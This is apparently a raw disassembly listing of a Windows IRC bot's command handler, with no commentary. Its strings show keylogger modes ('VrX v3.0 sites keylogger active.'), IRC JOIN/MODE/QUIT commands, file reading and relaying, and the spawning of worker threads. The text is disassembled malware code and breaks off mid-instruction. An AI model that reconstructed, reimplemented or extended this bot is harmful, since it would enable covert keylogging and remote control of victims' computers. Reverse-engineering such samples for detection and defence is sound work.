"1221" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408518 lea eax, [ebp+var_4BF8] push eax push 104h call near ptr 26B0000h nop push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BD70 lea eax, [ebp+var_17D4] push eax call sub_40AB6A push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C006 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_408439 push 10h push ebx push eax call sub_41C52E add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_40843F ; --------------------------------------------------------------------------- loc_408439: ; CODE XREF: sub_401AC7+695Cj mov [ebp+var_23C4], ebx loc_40843F: ; CODE XREF: sub_401AC7+6970j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408456 push esi call sub_41BEF9 pop ecx mov [ebp+var_23C8], eax jmp short loc_40845C ; --------------------------------------------------------------------------- loc_408456: ; CODE XREF: sub_401AC7+697Ej mov [ebp+var_23C8], ebx loc_40845C: ; CODE XREF: sub_401AC7+698Dj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BD70 mov eax, [ebp+var_4] push edi mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax lea eax, [ebp+var_2C4] push offset dword_42A4C8 push eax call sub_41C006 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3AD add esp, 24h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_416754 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408507 loc_4084F1: ; CODE XREF: sub_401AC7+6A3Ej cmp [ebp+var_23B4], ebx jnz loc_406C42 push 32h nop call near ptr 268051Bh jmp short loc_4084F1 ; --------------------------------------------------------------------------- loc_408507: ; CODE XREF: sub_401AC7+6A28j nop call near ptr 2680DCDh push eax push offset dword_42A48C jmp loc_406C33 ; --------------------------------------------------------------------------- loc_408518: ; CODE XREF: sub_401AC7+68F1j push offset dword_42A444 loc_40851D: ; CODE XREF: sub_401AC7+2E40j ; sub_401AC7+447Bj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx jmp loc_406C42 ; --------------------------------------------------------------------------- loc_408530: ; CODE XREF: sub_401AC7+49C0j ; sub_401AC7+49D7j push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C cmp [ebp+var_C], ebx jz loc_401F6C push [ebp+arg_18] push [ebp+var_C] call sub_41C080 push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push edi call sub_41BEF9 add esp, 30h test eax, eax jle short loc_4085B7 push edi call sub_41BEF9 imul eax, 3E8h pop ecx push eax call near ptr 268051Bh nop loc_4085B7: ; CODE XREF: sub_401AC7+6ADAj push offset dword_42A420 call sub_415CEE mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F6F ; --------------------------------------------------------------------------- loc_4085CB: ; CODE XREF: sub_401AC7+4992j ; sub_401AC7+49A9j push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41C7E0 add esp, 10h test eax, eax push esi jz short loc_408687 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push esi lea eax, [ebp+var_2C4] push offset unk_42A408 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 38h test eax, eax jle loc_409643 push edi call sub_41BEF9 add eax, [ebp+arg_24] pop ecx jmp loc_401F6F ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401AC7+6B49j lea eax, [ebp+var_2C4] push offset unk_42A3D4 push eax call sub_41C006 add esp, 0Ch jmp loc_408FA0 ; --------------------------------------------------------------------------- loc_4086A0: ; CODE XREF: sub_401AC7+4964j ; sub_401AC7+497Bj push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2094], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push offset unk_42A3A0 push eax mov [ebp+var_221C], esi call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3AD add esp, 40h mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset word_414F0A push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408761 loc_40874B: ; CODE XREF: sub_401AC7+6C98j cmp [ebp+var_208C], ebx jnz loc_40884A push 32h nop call near ptr 268051Bh jmp short loc_40874B ; --------------------------------------------------------------------------- loc_408761: ; CODE XREF: sub_401AC7+6C82j nop call near ptr 2680DCDh push eax push offset unk_42A364 jmp loc_40883B ; --------------------------------------------------------------------------- loc_408772: ; CODE XREF: sub_401AC7+4936j ; sub_401AC7+494Dj push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BD70 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_2228], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push offset dword_42A338 push eax mov [ebp+var_23B0], esi call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3AD add esp, 40h mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset dword_4146B8 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40882F loc_40881D: ; CODE XREF: sub_401AC7+6D66j cmp [ebp+var_2220], ebx jnz short loc_40884A push 32h nop call near ptr 268051Bh jmp short loc_40881D ; --------------------------------------------------------------------------- loc_40882F: ; CODE XREF: sub_401AC7+6D54j call near ptr 2680DCDh nop push eax push offset dword_42A2FC loc_40883B: ; CODE XREF: sub_401AC7+6CA6j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_40884A: ; CODE XREF: sub_401AC7+6C8Aj ; sub_401AC7+6D5Cj cmp [ebp+var_8], ebx jnz loc_403FA2 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403F9A ; --------------------------------------------------------------------------- loc_40886A: ; CODE XREF: sub_401AC7+4908j ; sub_401AC7+491Fj push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F4 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 10h loc_408887: ; CODE XREF: sub_401AC7+6E27j test eax, eax jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 loc_4088A1: ; CODE XREF: sub_401AC7+78B5j lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C jmp loc_4048FA ; --------------------------------------------------------------------------- loc_4088CA: ; CODE XREF: sub_401AC7+48DAj ; sub_401AC7+48F1j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2E0 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 14h jmp short loc_408887 ; --------------------------------------------------------------------------- loc_4088F0: ; CODE XREF: sub_401AC7+48ACj ; sub_401AC7+48C3j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 push edi call sub_41BEF9 add esp, 10h test eax, eax jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push [ebp+arg_18] push edi push offset dword_42A2C4 loc_408954: ; CODE XREF: sub_401AC7+6F14j ; sub_401AC7+6F7Fj ... call sub_415D62 jmp loc_404227 ; --------------------------------------------------------------------------- loc_40895E: ; CODE XREF: sub_401AC7+487Ej ; sub_401AC7+4895j cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40898F push esi lea eax, [ebp+var_2C4] push offset dword_42A2BC push eax call sub_41C006 add esp, 0Ch loc_40898F: ; CODE XREF: sub_401AC7+6EB1j push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 lea eax, [ebp+var_2C4] push eax push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push esi push edi push offset dword_42A2A0 jmp loc_408954 ; --------------------------------------------------------------------------- loc_4089E0: ; CODE XREF: sub_401AC7+4850j ; sub_401AC7+4867j cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push esi push offset dword_42A2EC push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C push esi push edi push offset dword_42A284 jmp loc_408954 ; --------------------------------------------------------------------------- loc_408A4B: ; CODE XREF: sub_401AC7+4822j ; sub_401AC7+4839j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40981C push esi push offset unk_42A25C loc_408A7D: ; CODE XREF: sub_401AC7+7A5Aj ; sub_401AC7+7A73j ... call sub_415D62 jmp loc_4034AC ; --------------------------------------------------------------------------- loc_408A87: ; CODE XREF: sub_401AC7+47F4j ; sub_401AC7+480Bj push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_401F6C push [ebp+arg_18] push offset dword_42A250 push [ebp+arg_4] call sub_40981C push edi call sub_41BEF9 imul eax, 3E8h add esp, 10h push eax call near ptr 268051Bh nop push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C push offset dword_42A23C call sub_415CEE jmp loc_4034AC ; --------------------------------------------------------------------------- loc_408AED: ; CODE XREF: sub_401AC7+47C6j ; sub_401AC7+47DDj cmp [ebp+var_C], ebx jz loc_409643 push edi call sub_41B960 push [ebp+arg_8] mov esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409643 push esi lea eax, [ebp+var_2C4] push offset dword_42A96C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409862 push esi push edi push offset unk_42A220 call sub_415D62 add esp, 2Ch jmp loc_409643 ; --------------------------------------------------------------------------- loc_408B5B: ; CODE XREF: sub_401AC7+4798j ; sub_401AC7+47AFj cmp [ebp+var_C], ebx jz loc_409643 push edi call sub_41B960 push [ebp+arg_8] mov esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409643 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409862 push esi push edi push offset unk_42A204 call sub_415D62 add esp, 20h jmp loc_409643 ; --------------------------------------------------------------------------- loc_408BB1: ; CODE XREF: sub_401AC7+476Aj ; sub_401AC7+4781j cmp [ebp+var_C], ebx jz loc_401F6C push [ebp+arg_18] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_401F6C push eax push edi call sub_415BF6 push edi lea eax, [ebp+var_2C4] push offset unk_42A1E8 push eax call sub_41C006 add esp, 14h jmp loc_403F81 ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401AC7+473Cj ; sub_401AC7+4753j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4189DF loc_408C05: ; CODE XREF: sub_401AC7+25D5j add esp, 14h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401AC7+46FCj ; sub_401AC7+4713j push edi push [ebp+arg_1C] call sub_41C080 pop ecx test eax, eax pop ecx jz loc_409643 mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_408CAA push esi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C92 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A434 push eax call sub_41C006 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BD70 push esi push edi lea eax, [ebp+var_2C4] push offset unk_42A1C4 push eax call sub_41C006 add esp, 34h inc [ebp+arg_24] jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408C92: ; CODE XREF: sub_401AC7+7173j lea eax, [ebp+var_2C4] push offset unk_42A194 push eax call sub_41C006 pop ecx pop ecx jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408CAA: ; CODE XREF: sub_401AC7+7162j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B1DF add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push edi push offset unk_42A17C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 add esp, 24h jmp loc_408FC1 ; --------------------------------------------------------------------------- loc_408CF1: ; CODE XREF: sub_401AC7+4432j ; sub_401AC7+4449j push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408CFE: ; CODE XREF: sub_401AC7+102Fj ; sub_401AC7+1082j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B63B add esp, 20h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_408D1A: ; CODE XREF: sub_401AC7+4404j ; sub_401AC7+441Bj push 23h call sub_40B5F5 test eax, eax pop ecx jle short loc_408D30 push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408D30: ; CODE XREF: sub_401AC7+725Dj mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408DAC mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D93 mov esi, offset aF_0 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408D93 mov esi, [ebp+var_88] loc_408D93: ; CODE XREF: sub_401AC7+72AEj ; sub_401AC7+72C4j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C100 push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408DFF ; --------------------------------------------------------------------------- loc_408DAC: ; CODE XREF: sub_401AC7+7299j push edi push offset aNormal_0 ; "normal" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_408E7C mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DE8 mov esi, offset aF_0 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_408DE8 mov esi, [ebp+var_88] loc_408DE8: ; CODE XREF: sub_401AC7+7303j ; sub_401AC7+7319j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C100 push offset aNormalKeyLogge ; "Normal key logger active." loc_408DFF: ; CODE XREF: sub_401AC7+72E3j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 14h lea eax, [ebp+var_2C4] push ebx push 23h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_412665 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408E6B loc_408E55: ; CODE XREF: sub_401AC7+73A2j cmp [ebp+var_A04], ebx jnz loc_4081DE push 32h nop call near ptr 268051Bh jmp short loc_408E55 ; --------------------------------------------------------------------------- loc_408E6B: ; CODE XREF: sub_401AC7+738Cj nop call near ptr 2680DCDh push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... jmp loc_406E56 ; --------------------------------------------------------------------------- loc_408E7C: ; CODE XREF: sub_401AC7+72F4j push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408E86: ; CODE XREF: sub_401AC7+4069j ; sub_401AC7+4080j push offset aR ; "r" push edi call sub_41BC88 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F00 mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C2CF add esp, 0Ch loc_408EAF: ; CODE XREF: sub_401AC7+7417j test eax, eax jz short loc_408EE0 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C2CF add esp, 20h jmp short loc_408EAF ; --------------------------------------------------------------------------- loc_408EE0: ; CODE XREF: sub_401AC7+73EAj push esi call sub_41B9DB push edi lea eax, [ebp+var_2C4] push offset unk_42A0A8 push eax call sub_41C006 add esp, 10h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_408F00: ; CODE XREF: sub_401AC7+73D0j push edi push offset unk_42A088 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_408F0B: ; CODE XREF: sub_401AC7+403Bj ; sub_401AC7+4052j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push offset asc_42A084 ; "\n" push esi call sub_41C630 push esi call sub_419F3E add esp, 0Ch test eax, eax jnz short loc_408F48 push offset unk_42A058 jmp short loc_408F92 ; --------------------------------------------------------------------------- loc_408F48: ; CODE XREF: sub_401AC7+7478j push esi lea eax, [ebp+var_2C4] push offset dword_42A040 push eax call sub_41C006 add esp, 0Ch jmp short loc_408FC1 ; --------------------------------------------------------------------------- loc_408F5F: ; CODE XREF: sub_401AC7+400Dj ; sub_401AC7+4024j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz loc_409643 push eax call sub_41870F test eax, eax pop ecx jnz short loc_408F8D push offset unk_42A020 jmp short loc_408F92 ; --------------------------------------------------------------------------- loc_408F8D: ; CODE XREF: sub_401AC7+74BDj push offset dword_42A004 loc_408F92: ; CODE XREF: sub_401AC7+747Fj ; sub_401AC7+74C4j lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx loc_408FA0: ; CODE XREF: sub_401AC7+6BD4j cmp [ebp+var_8], ebx jnz short loc_408FC1 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_408FC1: ; CODE XREF: sub_401AC7+71C6j ; sub_401AC7+71DEj ... lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx jmp loc_409643 ; --------------------------------------------------------------------------- loc_408FD3: ; CODE XREF: sub_401AC7+3FDFj ; sub_401AC7+3FF6j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BD70 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409002 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BD70 add esp, 0Ch loc_409002: ; CODE XREF: sub_401AC7+7527j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+arg_4] push edi mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax lea eax, [ebp+var_2C4] push offset dword_429FEC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3AD add esp, 24h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B2A5 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4090A0 loc_40908A: ; CODE XREF: sub_401AC7+75D7j cmp [ebp+var_1EF8], ebx jnz loc_406C63 push 32h call near ptr 268051Bh nop jmp short loc_40908A ; --------------------------------------------------------------------------- loc_4090A0: ; CODE XREF: sub_401AC7+75C1j nop call near ptr 2680DCDh push eax push offset unk_429FAC loc_4090AC: ; CODE XREF: sub_401AC7+2971j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_406C63 ; --------------------------------------------------------------------------- loc_4090C0: ; CODE XREF: sub_401AC7+3FB1j ; sub_401AC7+3FC8j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_410330 push edi push offset dword_429F94 jmp loc_408954 ; --------------------------------------------------------------------------- loc_4090DB: ; CODE XREF: sub_401AC7+3F83j ; sub_401AC7+3F9Aj push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BD10 push edi lea eax, [ebp+var_1D38] push offset aS_1 ; "%s" push eax call sub_41C006 mov eax, [ebp+arg_4] mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C100 mov eax, [ebp+var_4] mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F70 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3AD add esp, 40h mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_416177 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz loc_4023BB loc_409199: ; CODE XREF: sub_401AC7+76E6j cmp [ebp+var_1BA4], ebx jnz loc_40830C push 32h nop call near ptr 268051Bh jmp short loc_409199 ; --------------------------------------------------------------------------- loc_4091AF: ; CODE XREF: sub_401AC7+3F55j ; sub_401AC7+3F6Cj push edi call near ptr 26807FFh nop test eax, eax jz short loc_4091C2 push edi push offset dword_429F54 jmp short loc_4091CD ; --------------------------------------------------------------------------- loc_4091C2: ; CODE XREF: sub_401AC7+76F1j push offset dword_42A5AC call sub_41864A push eax loc_4091CD: ; CODE XREF: sub_401AC7+76F9j lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 jmp loc_4092A5 ; --------------------------------------------------------------------------- loc_4091E3: ; CODE XREF: sub_401AC7+3F27j ; sub_401AC7+3F3Ej push edi call sub_41BEF9 push eax call sub_419EB7 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_409200 push offset unk_429F30 jmp short loc_409205 ; --------------------------------------------------------------------------- loc_409200: ; CODE XREF: sub_401AC7+7730j push offset unk_429F00 loc_409205: ; CODE XREF: sub_401AC7+7737j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C66 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_406C66 ; --------------------------------------------------------------------------- loc_40923E: ; CODE XREF: sub_401AC7+3EF9j ; sub_401AC7+3F10j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419BAA add esp, 18h cmp eax, 1 push edi jnz short loc_409260 push offset unk_429EE0 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409260: ; CODE XREF: sub_401AC7+778Dj push offset unk_429EB0 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40926A: ; CODE XREF: sub_401AC7+3ECBj ; sub_401AC7+3EE2j push edi call dword_4C9344 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092AD push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4C92BC cmp eax, ebx jz short loc_4092C8 push dword ptr [eax] loc_409293: ; CODE XREF: sub_401AC7+77FFj push edi lea eax, [ebp+var_2C4] push offset unk_429E90 push eax call sub_41C006 loc_4092A5: ; CODE XREF: sub_401AC7+7717j add esp, 10h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_4092AD: ; CODE XREF: sub_401AC7+77B3j push edi call dword_4C9388 cmp eax, ebx jz short loc_4092C8 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4C9390 push eax jmp short loc_409293 ; --------------------------------------------------------------------------- loc_4092C8: ; CODE XREF: sub_401AC7+77C8j ; sub_401AC7+77EFj push offset unk_429E68 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4092D2: ; CODE XREF: sub_401AC7+3E9Dj ; sub_401AC7+3EB4j push 7Fh push edi push [ebp+arg_14] call sub_41BD70 push edi lea eax, [ebp+var_2C4] push offset unk_429E44 push eax call sub_41C006 add esp, 18h jmp loc_4081DE ; --------------------------------------------------------------------------- loc_4092F7: ; CODE XREF: sub_401AC7+3E6Fj ; sub_401AC7+3E86j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4C9270 test eax, eax push edi jz short loc_409317 push offset unk_429E24 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409317: ; CODE XREF: sub_401AC7+7844j push offset unk_429E00 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_409321: ; CODE XREF: sub_401AC7+3E41j ; sub_401AC7+3E58j mov al, [edi] mov byte_429090, al movsx eax, byte ptr [edi] push eax push offset unk_429DDC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_409336: ; CODE XREF: sub_401AC7+3E13j ; sub_401AC7+3E2Aj push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE77 push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 add esp, 1Ch jmp loc_4088A1 ; --------------------------------------------------------------------------- loc_409381: ; CODE XREF: sub_401AC7+3DE5j ; sub_401AC7+3DFCj push edi call sub_41BEF9 test eax, eax pop ecx jle loc_401F6C push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_401F6C push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_40981C pop ecx pop ecx push 1F4h call near ptr 268051Bh nop push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call dword_4C939C push [ebp+var_10] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C254[eax] nop call near ptr 26A07C0h push edi call sub_41BEF9 imul eax, 234h push edi mov dword_43C254[eax], ebx call sub_41BEF9 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43C040[eax], bl jmp loc_401F6C ; --------------------------------------------------------------------------- loc_40942C: ; CODE XREF: sub_401AC7+3DB7j ; sub_401AC7+3DCEj push edi push offset aAll ; "all" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40945B call sub_40B576 cmp eax, ebx jle short loc_409451 push eax push offset unk_429DB0 jmp loc_407286 ; --------------------------------------------------------------------------- loc_409451: ; CODE XREF: sub_401AC7+797Dj push offset unk_429D88 jmp loc_403F73 ; --------------------------------------------------------------------------- loc_40945B: ; CODE XREF: sub_401AC7+7974j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F6C lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409477: ; CODE XREF: sub_401AC7+7A21j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F6C push esi call sub_41BEF9 push eax call 